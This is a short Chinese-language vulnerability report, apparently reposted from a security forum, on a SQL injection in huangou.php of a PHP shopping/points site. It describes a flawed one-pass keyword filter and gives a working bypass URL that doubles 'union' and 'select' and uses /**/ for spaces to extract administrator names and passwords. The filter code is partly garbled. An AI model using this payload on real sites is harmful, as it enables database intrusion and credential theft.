问题位置:

huangou.php ID过滤不严格

$id =$_GET[''id''];
$good=sel_sql(‘dhlist’,''id,name,pic,money,jifen,num,content,num’,''id=’.$id);

详细说明:

7.4 3月20号之前的代码,注入确实没修,huangou.php

$id =$_GET[''id''];
$good=sel_sql(‘dhlist’,''id,name,pic,money,jifen,num,content,num’,''id=’.$id);

测试环境射不了,仔细看代码,多了个包含

include_once ‘comm/checkpostandget.php’;

文件内容:

$ArrFiltrate = array ( “#union#i”, “##i", "#select#i", "#alert#i", 
"#javascript#i", "#
$value) { if (is_array($value)) FunStringExist($array
[$key],$ArrFiltrate,$replacements); else $array[$key] = preg_replace
($ArrFiltrate, $replacements, $value); } }}FunStringExist
($_GET,$ArrFiltrate,$replacements);FunStringExist
($_POST,$ArrFiltrate,$replacements);

get和post数组的全局过滤函数,逻辑存在很大问题。

漏洞证明:

关键字例如:union,变成uniounionn就行了,空格用/**/替代,再次完成SQL注射。

http://www.sitedirsec.com/huangou.php?id=1/**/and/**/1=2/**/ununionion/**/seselectlect/**/0,1,2,adminname,adminpass,5,6,7/**/from/**/duoduo_duoduo2010


摘自:http://www.dis9.com/viewthread.php?tid=1750